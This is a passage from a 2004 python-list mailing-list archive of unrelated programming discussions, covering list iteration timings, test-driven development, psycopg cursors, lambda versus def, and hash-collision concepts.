<mailman.3482.1095528019.5135.python-list@python.org> <ida3d.3866$%42.2117@trndny08> <k4grk05437ut8ge389n3k2gqmq93jiij72@4ax.com> <1gkdncx.kyq0oz1excwtyN%aleaxit@yahoo.com> Message-ID: <414e8b22$0$194$edfadb0f@dread11.news.tele.dk> aleaxit at yahoo.com (Alex Martelli) wrote in news:1gkdncx.kyq0oz1excwtyN% aleaxit at yahoo.com: > Nothing strange there -- HP's calculators were squarely aimed at > scientists and engineers, who are supposed to know what they're doing > when it comes to numeric computation (they mostly _don't_, but they like > to kid themselves that they do!-). > Oi!!! I resemble that remark ! ;-) From steven.bethard at gmail.com Wed Sep 29 12:07:51 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 29 Sep 2004 16:07:51 +0000 (UTC) Subject: all pairs of items in a list without indexing? References: <mailman.4028.1096403649.5135.python-list@python.org> <1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com> Message-ID: <loom.20040929T175555-925@post.gmane.org> Alex Martelli <aleaxit <at> yahoo.com> writes: > With slicing: > > kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x > in enumerate(l) for y in l[i+1:]]' > 10 loops, best of 3: 1.43e+05 usec per loop > kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x > in enumerate(l) for y in l[i+1:]]' > 10 loops, best of 3: 1.41e+05 usec per loop > > With xrange(len(...: > > kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j]) > for i in xrange(len(l)) for j in xrange(i+1,len(l))]' > 10 loops, best of 3: 1.61e+05 usec per loop > kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j]) > for i in xrange(len(l)) for j in xrange(i+1,len(l))]' > 10 loops, best of 3: 1.62e+05 usec per loop Wow, interesting. Slicling's still faster in a slightly more fair comparison: >python timeit.py -s "l=range(333)" "[(x,i) for i,x in enumerate(l) for y in l [:i+1]]" 10 loops, best of 3: 24.5 msec per loop >python timeit.py -s "l=range(333)" "[(x,i) for i,x in enumerate(l) for y in l [:i+1]]" 10 loops, best of 3: 24.4 msec per loop >python timeit.py -s "l=range(333)" "[(x,l[j]) for i,x in enumerate(l) for j in xrange(i+1,len(l))]" 10 loops, best of 3: 28.9 msec per loop >python timeit.py -s "l=range(333)" "[(x,l[j]) for i,x in enumerate(l) for j in xrange(i+1,len(l))]" 10 loops, best of 3: 28.8 msec per loop So slicing a list and iterating over the slice is faster than iterating over the indices and indexing the items... Is this generally true? Is it something I can depend on across implementations? STeve From jerf at jerf.org Thu Sep 2 13:05:44 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Thu, 02 Sep 2004 17:05:44 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <cgn73r$scr$1@nntp0.reith.bbc.co.uk> <mailman.2515.1093608707.5135.python-list@python.org> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <zILXc.54863$xi6.26091@fe2.texas.rr.com> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> <slrncj8kv2.kp.apardon@trout.vub.ac.be> <slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au> <slrncj94hr.kp.apardon@trout.vub.ac.be> <du7oekrnwc8.fsf@amadeus.cc.tut.fi> <slrncjaq3l.kp.apardon@trout.vub.ac.be> <pan.2004.09.01.12.03.39.285610@jerf.org> <slrncje0vr.7or.apardon@rcpc42.vub.ac.be> Message-ID: <pan.2004.09.02.13.05.51.473986@jerf.org> On Thu, 02 Sep 2004 11:27:36 +0000, Antoon Pardon wrote: > I haven't come up in such a situation for tens of years. So I think > I'm doing well enough. It stuns me how stubbornly some people can persist in poor habits. This argument from "experience" saddens me, not impresses me. Frankly, getting back to the main point here, your little fight here is pointless. Ain't gonna happen. With your... ahhh.... "unique views" on this topic, you don't stand a chance in hell of convincing Guido, or anybody else, that you are right. Keep writing your spaghetti code, and don't wait for Python to help you code that way. Good luck. From mcfletch at rogers.com Fri Sep 3 18:05:50 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Fri, 03 Sep 2004 18:05:50 -0400 Subject: How to actually write a program? In-Reply-To: <chano0$1gv$1@sparta.btinternet.com> References: <chano0$1gv$1@sparta.btinternet.com> Message-ID: <4138EABE.1040402@rogers.com> This may seem a bit weird: Create another text file and save it as test_mykewlprogram.py. Add the following to it: import unittest import mykewlprogram class BasicTests( unittest.TestCase ): def test_something( self ): """Do some basic test of functionality""" if __name__ == "__main__": unittest.main() And run that from the command line. If the unit-test passes (it should), then add some more code to it until it doesn't pass, then fix your program to make it pass, then immediately go back to writing unit tests. For instance: def test_something( self ): """Can we create an instance of our frobnitz?""" mykewlprogram.Frobnitz() which should fail, because you haven't defined a Frobnitz class yet. So you simply define it in mykewlprogram as: class Frobnitz( object ): """Frobnitzes are responsible for killing Whirlygigs""" then run your test suite again. It should now pass, so go back to writing code that tests to see if your program does what it's supposed to do. That (called test-driven development) works very well if you've got a general idea of what you want to do, and your project is not about user interface design or the like (where test-driven development can be quite messy). There are lots of other ways to do it. I was originally taught a method that was taught in the very early days of computers wherein you figure out the whole program in your head/on paper, running it in mental emulation until you're sure you've figured out the major features of the program. It tends to impress the heck out of certain people (you have to be able to hold entire complex systems in your head to do it, and that takes a lot of practice that most people have never mastered), really speeds up planning meetings, and you can do it in the shower, in bed, while cooking, etceteras, but it's a lot less common these days. It's also pretty slow and error-prone :) . True enlightenment lies somewhere between the extremes. There's hundreds (thousands?) of books that purport to show you the one-true-solution to this problem. Any time you see that you can be pretty sure that there is no "one" solution and that you'll have to experiment with the ideas expounded by the various religions and figure out what works *for you*. Have fun, Mike Nick Evans wrote: >Hello there, >I have been on and off learning to code (with python being the second >language I have worked on after a bit of BASIC). What I really want to know >is, if you are going to actually write a program or a project of some sort, >how do you actually start. > >Picture this, you know what you want the program to do (its features), you >have a possably rough idea of how the program will work. You have opened an >empty text file and saved it as 'mykewlprogram.py' and now your sitting in >front of an empty text file... Now then.... where do I start. > >Any ideas about this problem :-) > >Ta >Nick > > ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From mwm at mired.org Fri Sep 24 03:53:25 2004 From: mwm at mired.org (Mike Meyer) Date: Fri, 24 Sep 2004 02:53:25 -0500 Subject: Check for keystroke <--Nevermind References: <Xns956C6558D1D9Anonenonecom@24.93.43.121> <Xns956CCC450F99Fnonenonecom@24.93.44.119> Message-ID: <x7oejwxfuy.fsf@guru.mired.org> Brian <ThisIsNotMyReal at ddress.com> writes: > stdscr.nodelay(1) > > Gah, I'm a retard. Another good option is select.poll() or select.select(). <mike -- Mike Meyer <mwm at mired.org> http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. From wayne at mishre.com Thu Sep 16 08:47:37 2004 From: wayne at mishre.com (Wayne Pierce) Date: 16 Sep 2004 05:47:37 -0700 Subject: software that knows how to update itself In-Reply-To: <mailman.3398.1095333155.5135.python-list@python.org> Message-ID: <cic219$l1s@odak26.prod.google.com> One thing I would like to add is that you can also restrict what hosts are allowed to initiate an update. Perhaps something on the client that only allows the update request from your machine. The IP can be forged, so this isn't perfect just another layer. You should also have the servers report back when a host tries to initiate an update, this way you know if someone attempts to update a client. From jhefferon at smcvt.edu Tue Sep 28 09:04:41 2004 From: jhefferon at smcvt.edu (Jim Hefferon) Date: 28 Sep 2004 06:04:41 -0700 Subject: Psycopg; How to detect row locking? References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com> <415811D2.7070408@magproductions.nl> <j4mdnSn6xsECgMXcRVn-tA@giganews.com> <41582377.5050100@magproductions.nl> <4158AF94.30607@holdenweb.com> Message-ID: <545cb8c2.0409280504.28909aa2@posting.google.com> Steve Holden <steve at holdenweb.com> wrote > Please make sure that you correctly understand the way psycopg is acting > before you assume that multiple cursors on the same connection are > isolated from each other. You may be right, but if so then psycopg is > definitely not DBAPI compliant. This is from the README for the (reasonably fresh) version of psycopg that I happen to have (I couldn't find a link, so I'm pasting): Extensions to the Python DBAPI-2.0 ---------------------------------- psycopg offers some little extensions on the Python DBAPI-2.0. Note that the extension do not make psycopg incompatible and you can still use it without ever knowing the extensions are here. The DBAPI-2.0 mandates that cursors derived from the same connection are not isolated, i.e., changes done to the database by one of them should be immediately visible by all the others. This is done by serializing the queries on the same physical connection to the database (PGconn struct in C.) Serializing queries when the network latencies are hight (and network speed is low) dramatically lowers performance, so it is possible to put a connection into not-serialized mode, by calling the .serialize() method giving it a 0-value argument or by creating a connection using the following code: conn = psycopg.connect("dbname=...", serialize=0) After that every cursor will get its own physical connection to the database and multiple threads will go at full speed. Note that this feature makes the new cursors non-compliant respect to the DBAPI-2.0. The main extension is that we support (on not-serialized cursors) per-cursor commits. If you do a commit() on the connection all the changes on all the cursors derived from that connection are committed to the database (in random order, so take your care.) But you can also call commit() on a single cursor to commit just the operations done on that cursor. Pretty nice. Note that you *do have* to call .commit() on the cursors or on the connection if you want to change your database. Note also that you *do have* to call commit() on a cursor even before a SELECT if you want to see the changes apported by other threads to the database. So, although you can turn it off, by default (and with some justification) the behavior is non-compliant. Jim From joh12005 at yahoo.fr Thu Sep 2 03:21:48 2004 From: joh12005 at yahoo.fr (Joh) Date: 2 Sep 2004 00:21:48 -0700 Subject: need an idea, recognize sequence, fsm or genetic ? Message-ID: <63b5e209.0409012321.5850291f@posting.google.com> hello, here is my trouble, i would to like to write a program which could help me to detect sequence of consecutive words in list in a very efficient way. (i need to do it upon large amount of text, and for now i'm looking for a good start point) i have many "sentences" of variables sizes, for example one could be : sentence1 = ['w43', 'w12', 'w41', 'w85', 'w4', 'w74', 'w24', 'w1', 'w6', 'w41', 'w85', 'w7', 'w23', 'w43'] where wx can be seen as a word. then i had sequence of words which i need to recognize, for example : sequences = [['w41', 'w85', 'w4'], ['w41', 'w85', 'w7'],] etc. and need something like span position where sequences are present in sentence: { ['w41', 'w85', 'w4']: [[2, 4], ], ['w41', 'w85', 'w7']: [[9, 11], ] } for now i'm doing it by using many nested 'for loop', and it is too slow, as i search for each sequence one by one, and then restart from beginning, and so on, i'm wondering if this can not be done by using nested dictionnary or something like that, maybe is there an improvement to imagine ? (i'm wondering if i should not find a way to not re-start from beginning when i had found ['w41', 'w85', ] for the second time and thus just only look after last token 'w4' or 'w7') also i think this is related to some kind of finite state automata, but i do not know how to build automatically massive parallel FSM (i can have many many sequences and huge amount of sentences) i was also wondering if some genetics algorithm used to align sequence of protein could not help me, i had once read something about that , but still can not where to start. also as far as i remember such algorithms take into account that 'sequence' could not be consecutive, what i need is consecutive. maybe one of you could help ? give a start point or even an idea that could help me to design this piece of code ? From nomail at edu Sat Sep 18 12:12:39 2004 From: nomail at edu (Izzie) Date: Sat, 18 Sep 2004 12:12:39 -0400 Subject: Database->python->Xml->Xslt->Client In-Reply-To: <4c900ea0.0409172237.3e5abf25@posting.google.com> References: <4c900ea0.0409172237.3e5abf25@posting.google.com> Message-ID: <-sWdnbztMo_vw9HcRVn-ig@giganews.com> john wrote: > Will this improve performance or have i gone nuts?? Since you have more computationally intensive steps (XSLT is no walk in the park) to do I don't think that it will directly improve the performance at all. What gets improved is the modularity and generality of your solution. In your system you can now freely interchange the backends and frontends. You program will work with any other backend that produces XML and any other display that can transform from XML. This independence can be great. On the other hand I have been seriously bitten by XSLT. Writing complicated and reusable stylesheets that remain readable seems to be impossible. And it is difficult to foresee how complicated the stylesheets need to be. The weakest link in your pipeline is XSLT. Istvan. From ville at spammers.com Thu Sep 30 21:24:51 2004 From: ville at spammers.com (Ville Vainio) Date: 01 Oct 2004 04:24:51 +0300 Subject: python connection to mssql from windows box References: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu> <mailman.4134.1096552901.5135.python-list@python.org> <du7sm8zod04.fsf@lehtori.cc.tut.fi> <mailman.4150.1096571709.5135.python-list@python.org> Message-ID: <du7sm8zmdr0.fsf@mozart.cc.tut.fi> >>>>> "Josh" == Josh Close <narshe at gmail.com> writes: Josh> On 30 Sep 2004 20:58:03 +0300, Ville Vainio <ville at spammers.com> wrote: Josh> Google? What's that? >> >> *rubs eyes in disbelief* Josh> That was a joke. If you didn't notice I'm using a google Josh> email account, so I obviously know what it is :P Heh, I should have gone with the disbelief :-). -- Ville Vainio http://tinyurl.com/2prnb From export at hope.cz Tue Sep 28 06:00:23 2004 From: export at hope.cz (Lad) Date: 28 Sep 2004 03:00:23 -0700 Subject: os.system vs. Py2Exe Message-ID: <81a41dd.0409280200.1a74edd1@posting.google.com> I used Py2exe to compile my script( I use XP). The compiled script works OK on my XP where Python is installed. But when I install the compiled exe to another computer, os.system causes the following error: Bad file or command name Any help would be appreciated. Lad From ialbert at mailblocks.com Fri Sep 24 10:18:48 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 24 Sep 2004 10:18:48 -0400 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> Message-ID: <89adnWTWC6JVscncRVn-uw@giganews.com> My opinion on this matter is that this project has no chance of succeeding in any palpable way. It will always remain at this semi-conscious level of making some generic statements that may make feel one better but have no actual relevance to the way things work. The Beach Boys have already properly captured this design in their song titled "Wouldn't It Be Nice": "Wouldn't it be nice if we were older Then we wouldn't have to wait so long And wouldn't it be nice to live together In the kind of world where we belong" And here is how to wake up from your dream. Pick a simple task, design a program that does it and make it as simple as you can. Then grab a few people off the street, take them to a room, ask them to perform the task, leave the room, then watch them try to accomplish that task. The lessons you learn in a few hours will last you a lifetime. You'll then understand why this "generic computing appliance" serving the "needs of a typical user" makes no sense whatsoever. Istvan. From bjg at network-theory.co.uk Tue Sep 7 07:26:38 2004 From: bjg at network-theory.co.uk (Brian Gough) Date: 07 Sep 2004 12:26:38 +0100 Subject: How to actually write a program? References: <chano0$1gv$1@sparta.btinternet.com> Message-ID: <87y8jm1frl.fsf@network-theory.co.uk> "Nick Evans" <nick at huff.org.uk> writes: > Picture this, you know what you want the program to do (its features), you > have a possably rough idea of how the program will work. You have opened an > empty text file and saved it as 'mykewlprogram.py' and now your sitting in > front of an empty text file... Now then.... where do I start. The books "Programming Pearls" and "More Programming Pearls" by Jon Bentley have nice examples of this sort of thing. -- Brian Gough Network Theory Ltd, Publishing the Python Manuals --- http://www.network-theory.co.uk/python/ From kbk at shore.net Tue Sep 21 23:22:11 2004 From: kbk at shore.net (Kurt B. Kaiser) Date: Tue, 21 Sep 2004 23:22:11 -0400 (EDT) Subject: Weekly Python Patch/Bug Summary Message-ID: <200409220322.i8M3MBF7005521@h006008a7bda6.ne.client2.attbi.com> Patch / Bug Summary ___________________ Patches : 235 open ( -6) / 2633 closed (+11) / 2868 total ( +5) Bugs : 767 open ( +3) / 4463 closed (+10) / 5230 total (+13) RFE : 151 open ( +1) / 131 closed ( +0) / 282 total ( +1) New / Reopened Patches ______________________ (2004-09-18) CLOSED http://python.org/sf/1030422 opened by Jeff Connelly aka shellreef Patch for bug #780725 (2004-09-20) http://python.org/sf/1031213 opened by atsuo ishimoto Clean up discussion of new C thread idiom (2004-09-20) http://python.org/sf/1031233 opened by Greg Chapman atexit decorator (2004-09-21) http://python.org/sf/1031687 opened by Raymond Hettinger Add API to logging package to allow intercooperation. (2004-09-21) http://python.org/sf/1032206 opened by Dave Wilson Patches Closed ______________ Decimal performance enhancements (2004-09-01) http://python.org/sf/1020845 closed by rhettinger topdir calculated incorrectly in bdist_rpm (2004-09-03) http://python.org/sf/1022003 closed by jafo add support for the AutoReq flag in bdist_rpm (2004-09-03) http://python.org/sf/1022011 closed by jafo Adding IPv6 host handling to httplib (2004-09-15) http://python.org/sf/1028502 closed by loewis Add status code constants to httplib (2004-09-10) http://python.org/sf/1025790 closed by loewis tarfile.py longnames are truncated in getnames() (2004-09-16) http://python.org/sf/1029061 closed by loewis Patch for bug 933795. term.h and curses on Solaris (2004-08-19) http://python.org/sf/1012280 closed by loewis fix bug 807871 : tkMessageBox.askyesno wrong result (2004-08-29) http://python.org/sf/1018509 closed by loewis Error when int sent to PyLong_AsUnsignedLong (2004-09-08) http://python.org/sf/1024670 closed by loewis WinSock 2 support on Win32 w/ MSVC++ 6 (fix #860134) (2004-03-03) http://python.org/sf/908631 closed by loewis (2004-09-18) http://python.org/sf/1030422 closed by jeffconnelly New / Reopened Bugs ___________________ email.Utils not mentioned (2004-09-17) http://python.org/sf/1030118 opened by Jeff Blaine rfc822 __iter__ problem (2004-09-17) http://python.org/sf/1030125 opened by Mike Foord socket is not garbage-collected under specific circumstances (2004-09-18) CLOSED http://python.org/sf/1030249 opened by Matthias Klose distutils' dry-run wants to create some real build dirs (2004-09-18) http://python.org/sf/1030250 opened by Matthias Klose os.system exhausts file descriptors (2004-09-18) CLOSED http://python.org/sf/1030388 opened by Eray Ozkural os.path.join() does not raise TypeError (2004-09-18) http://python.org/sf/1030499 opened by Pierre Fortin PyMapping_Check crashes when argument is NULL (2004-09-19) CLOSED http://python.org/sf/1030557 opened by Michiel de Hoon PyOS_InputHook broken (2004-09-19) http://python.org/sf/1030629 opened by Michiel de Hoon Email message croaks the new email pkg parser (2004-09-19) http://python.org/sf/1030941 opened by Skip Montanaro tarfile: dirsize is not zero (2004-09-20) CLOSED http://python.org/sf/1031148 opened by Bertram Scharpf decimal module inconsistent with integers and floats (2004-09-20) CLOSED http://python.org/sf/1031480 opened by Anthony Tuininga Fold tuples of constants into a single constant (2004-09-20) http://python.org/sf/1031667 opened by Raymond Hettinger Conflicting descriptions of application order of decorators (2004-09-21) http://python.org/sf/1031897 opened by Hamish Lawson Bugs Closed ___________ help() does not check for chm file (2004-09-09) http://python.org/sf/1025392 closed by loewis socket is not garbage-collected under specific circumstances (2004-09-18) http://python.org/sf/1030249 closed by loewis configure not able to find ncurses/curses in Solaris (2004-04-12) http://python.org/sf/933795 closed by loewis tkMessageBox.askyesno wrong result (2003-09-17) http://python.org/sf/807871 closed by loewis Trivial fix for obscure bug in os.urandom() (2004-09-03) http://python.org/sf/1021596 closed by loewis os.system exhausts file descriptors (2004-09-18) http://python.org/sf/1030388 closed by loewis PyMapping_Check crashes when argument is NULL (2004-09-18) http://python.org/sf/1030557 closed by rhettinger tarfile: dirsize is not zero (2004-09-20) http://python.org/sf/1031148 closed by loewis decimal module inconsistent with integers and floats (2004-09-20) http://python.org/sf/1031480 closed by rhettinger get_installer_filename (2004-09-15) http://python.org/sf/1028334 closed by theller New / Reopened RFE __________________ Update unicodedata to version 4.0.1 (2004-09-20) http://python.org/sf/1031288 opened by Oliver Horn From aleaxit at yahoo.com Mon Sep 13 04:34:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 10:34:21 +0200 Subject: unittest.TestCase, lambda and __getitem__ References: <mailman.3214.1095049956.5135.python-list@python.org> <1gk1nqx.1ul836r1k96yuhN%aleaxit@yahoo.com> <mailman.3220.1095061215.5135.python-list@python.org> Message-ID: <1gk1qu1.1778fyhc2kvbzN%aleaxit@yahoo.com> Steven Bethard <steven.bethard at gmail.com> wrote: > Alex Martelli <aleaxit <at> yahoo.com> writes: > > Steven Bethard <steven.bethard <at> gmail.com> wrote: > > > Or is there a better/clearer way of handling this kind of test case? > > > > Sure: > > > > def wrong_indexing(): return obj[index] > > self.assertRaises(ValueError, wrong_indexing) > > Yeah, I guess I was just begging someone to give me that response. ;) > > First, I have to mention that I'd probably have to write your code as > > def wrong_indexing(): > return obj[index] > self.assertRaises(ValueError, wrong_indexing) > > because GvR has also commented that he wishes he hadn't allowed the one- > line "if: statement" syntax, so by analogy, I assume he'd also rather no one- > line def statement. So I'm stuck replacing a single line with three... I was I don't think the two issues are comparable. Consider the PEP: http://www.python.org/peps/pep-3000.html which, while of course still very tentative, DOES express Guido's current plans for the future, non-backwards-compatible Python 3000. "The lambda statement" is first on the list of things "to be removed". (Of course, there IS no such thing -- it's not a statement -- but I hope that's just a minor error in the PEP;-). There is no indication on the PEP that Guido means to remove the ability to use a single line such as def name(): return 23. The PEP does pick up many specific changes coming from the 'Regrets' document, http://www.python.org/doc/essays/ppt/regrets/PythonRegrets.pdf , and specifically points to that document; but the PEP does not mention as planned changes any of the lexical issues in the Regrets document (use of \ for continuation, one-line if, use of tabs). Until further notice I think this means these lexical aspects aren't going away. > hoping to avoid this... (Of course, if I have a bunch of obj[index] type > calls, I can average the additional line cost over all of these by making the > function suitably general.) > > Regardless, your analogy between obj[index] and an arbitrary mathematical > expression was helpful. It clarifies that, what I really want is an anonymous > code block... It generally is: lambda isn't a block and def isn't anonymous -- given the tiny investment required to cook up a name for def, I think this means def is much closer than lambda to what you want. When you change lambdas to defs you often find that the modest effort of naming is actually USEFUL, since it helps clarify your code, and sometimes you get to generalize and better apply "once and only once". All in all I think changing lambdas into defs is a worthy endeavour and enhances your code. And if it should ever turn out in the future that you do need a line break after the : in "def name(): ...", it's a trivial and totally mechanical transformation with any editor (or an auxiliary Python script), no effort at all. So I wouldn't let that distant prospect worry me in the slightest. > Hmm... Well, if this is really the only option, I'll probably leave these > lambdas until I absolutely have to remove them... I've never seen a syntax proposed for an "anonymous def" that Guido would find in the least acceptable, if that's what you mean. I still think that perfectly ordinary defs are fine, and better than lambdas, but of course it's your code so it's your decision. Alex From fumanchu at amor.org Tue Sep 28 12:38:24 2004 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 28 Sep 2004 09:38:24 -0700 Subject: re-entering in the normal flow after an exception is raised Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F13@exchange.hqamor.amorhq.net> Michele Simionato wrote: > I think I want "re-entrant exceptions" (not sure if this is the > correct name). > > Consider the following example: > > class NotSeriousException(Exception): > pass > > def do_this(): > raise NotSeriousException() > > def do_that(): > pass > > def do_this_and_that(): > do_this() > do_that() > > Since the exception is raised at the do_this() level, do_that() will > not be executed. However, since the exception is not that serious, I > would like to catch it and continue from the point the exception was > raised, i.e. something like that: > > try: > do_this_and_that() > except NotSeriousException: > continue # does not work of course > > where "continue" would continue from do_that(). > > Is there some elegant or hackish way to get this? > Notice that I do NOT want to modify the source code of > do_this_and_that. > It comes from real life code and I could modify it, but if there was > some smarter way of getting what I want I would be interested ... Could you clarify? You say you don't want to rewrite do_this_and_that; should we assume the rest of the code is open to modification? For example, the most obvious resolution to me would be to push the try block into do_this(): class NotSeriousException(Exception): pass def do_this(): try: this_stuff() except NotSeriousException: pass def do_that(): pass def do_this_and_that(): do_this() do_that() The other options seem to be: 1) rewrite NotSeriousException, and 2) use a mechanism other than exceptions to get what you want. But if you can use another mechanism, that pretty much means (to me) rewriting do_this to use that mechanism; in that case, you might as well do the above. Robert Brewer MIS Amor Ministries fumanchu at amor.org From narshe at gmail.com Wed Sep 22 16:38:56 2004 From: narshe at gmail.com (Josh Close) Date: Wed, 22 Sep 2004 15:38:56 -0500 Subject: calling class methods without instance Message-ID: <4a0cafe204092213387d33c1c1@mail.gmail.com> Is there a way to call a class method without an instance of that class? class myClass: def printSomething(message): print message myClass.print() That's basically what I want to do. Is there a way to do that without having to do c = myClass() c.print() I've tried using class myClass: def printSomething(message): print message printSomething = staticmethod(printSomething) but that didn't seem to work either. I'm probably just missing something really simple here. -Josh From cousinstanley at hotmail.com Sun Sep 26 14:37:34 2004 From: cousinstanley at hotmail.com (Cousin Stanley) Date: 26 Sep 2004 18:37:34 GMT Subject: Python in a Nutshell for Python 2.4 References: <df045d93.0409221344.52d18be9@posting.google.com> <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> <mailman.3790.1095959172.5135.python-list@python.org> <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com> <a5415304.0409241053.77f92782@posting.google.com> <1gkmz7p.8s0hno1ug9eq4N%aleaxit@yahoo.com> Message-ID: <2rogjeF1bkmniU1@uni-berlin.de> > Unfortunately, with O'Reilly having rejected it, I'm not sure what other > publisher, if any, is enough "into" Mac _and_ Python. So for now I'm > giving precedence to 2nd editions of Cookbook and Nutshell...! > Alex .... Maybe you could cut out the middle man, e.g. Cousin O'Reilly, and consider .... class AM_Publishing( object ) : def __init__( self , this_book ) : self.book = this_book def xWrite( self ) : pass def edit( self ) : pass def xPrint( self ) : pass def xBind( self ) : pass def advertise( self ) : pass def sell( self ) : pass def distribute( self ) : pass mac_py = AM_Publishing( 'Mac Python in a NutShell' ) This exercise in *desktop publishing* might be worthy of a book in itself .... -- Cousin Stanley Human Being Phoenix, Arizona From tchur at optushome.com.au Sat Sep 11 18:41:27 2004 From: tchur at optushome.com.au (Tim Churches) Date: 12 Sep 2004 08:41:27 +1000 Subject: MD5 and SHA cracked/broken... In-Reply-To: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> Message-ID: <1094942487.1235.18.camel@emilio> On Sun, 2004-09-12 at 02:59, Magnus Lie Hetland wrote: > Basically, at Crypto 2004 preliminary papers were presented that > pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell, > MD5 is broken and SHA-1 seems to be in a precarious position (even > though I don't know the details at all). IANAC, but it is important to keep in mind that only one aspect of MD-5 and a weakened version of SHA were "broken": collision resistance. My understanding is that the other important qualities of a cryptographic has function, preimage resistance and 2nd preimage resistance, were not assailed. Collision resistance is how difficult it is to find two input values which produce the same has value. Weakened collision resistance undermines digital signatures (at least in theory - practical attacks may still be difficult). Preimage resistance measures the difficulty of finding an input which results in a particular hash value. You don't know the original input. Poor preimage resistance undermines the security of hashed passwords and similar uses. 2nd preimage resistance is the difficulty of finding an input which hashes to the same value that some other given input hashes to. Like preimage resistance but you do know the other input value. How is this different to collision resistance? Collision resistance is the difficulty of finding ANY two inputs which hash to the same but arbitrary output value, whereas preimage resistance and 2nd preimage resistance are about finding input values which hash to a PARTICULAR output value. Clearly that's much harder, and the recently reported work didn't address that issue, I think. -- Tim C PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere or at http://members.optushome.com.au/tchur/pubkey.asc Key fingerprint = 8C22 BF76 33BA B3B5 1D5B EB37 7891 46A9 EAF9 93D0 From lynn at garlic.com Wed Sep 8 21:01:39 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Wed, 08 Sep 2004 19:01:39 -0600 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413af268$0$19706$61fed72c@news.rcn.com> <rv1hhc.mtv2.ln@via.reistad.priv.no> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> Message-ID: <un000uufg.fsf@mail.comcast.net> "John Thingstad" <john.thingstad at chello.no> writes: > Internet was discovered long before this. (In 1965 a research > project, by the Rand cooperation, for a network that could survive a > nuclear attack. Sponsored by DARPA. These is the real creators of > the Internet technology. Not Unix hackers.) It was the realization > of www (CERN) that spawned the movement toward the Internet. > > So the year in question is about 1987. packet networking was "discovered" in the 60s(?) ... but it was homogeneous networking with pretty much homogeneous infrastructure implementation. the great switch-over to internetworking protocol was 1/1/83. i've frequently asserted that one of the reasons that the internal network http://www.garlic.com/~lynn/subnetwork.html#internalnet was larger than the arpanet from just about the beginning until sometime mid-85 ... was because the internal network nodes effectively had a form of gateway functionality ... which showed up in the internetworking protocol switchover on 1/1/83. packet switching technology for the (homogeneous) arpanet is somewhat orthogonal to internetworking protocol technology .... which was deployed in the great switchover on 1/1/83. some minor other references: http://www.garlic.com/~lynn/internet.htm CERN and SLAC were sister sites, did some amount of common tool development, used common infrastructures and were big GML users .... which had been done at the science center circa 1970 http://www.garlic.com/~lynn/subtopic.html#545tech which morphed into SGML and then html, xml, etc. SLAC had the first web server outside of europe .... running on vm/cms system http://www.slac.stanford.edu/history/earlyweb/history.shtml the distinction of internetworking protocol isn't packet switching ... it is gateways and interoperability of lots of different kinds of networking. OSI can support x.25 packet switching and/or even the arpanet packet switching from the 60s & 70s .... but it precludes internetworking protocol. internetworking protocol (aka internet for short) is a (non-existant) layer in an OSI protocol stack between layer3/networking and layer4/transport. misc. osi (& other) comments http://www.garlic.com/~lynn/subnetwork.html#xtphsp the switch-over to internetworking protocol on 1/1/83 somewhat also coincided with the expanding role of csnet activity ... and more & more NSF involvement .... compared to the extensive earlier arpa/darpa involvement; aka csnet ... and then nsfnet1 backbone rfp and then nsfnet2 enhanced backbone rfp. misc. internet and nsfnet related history pointers: http://www.garlic.com/~lynn/rfcietf.htm#history the proliferation of the internetworking protocol and use in the commercial sector was also happening during the 80s .... which you could start to see by (1988) at the interop '88 show. misc. interop '88 references: http://www.garlic.com/~lynn/subnetwork.html#interop88 -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From cjw at sympatico.ca Sat Sep 11 08:12:55 2004 From: cjw at sympatico.ca (Colin J. Williams) Date: Sat, 11 Sep 2004 08:12:55 -0400 Subject: PEP 335: Overloadable Boolean Operators - Official Posting In-Reply-To: <mailman.3186.1094896646.5135.python-list@python.org> References: <2qccb9Fuac61U1@uni-berlin.de> <41419A03.90506@sympatico.ca> <mailman.3186.1094896646.5135.python-list@python.org> Message-ID: <4142EBC7.40105@sympatico.ca> Gerrit wrote: > Colin J. Williams wrote: > >>I understand that the intent, eventually, is that the basic 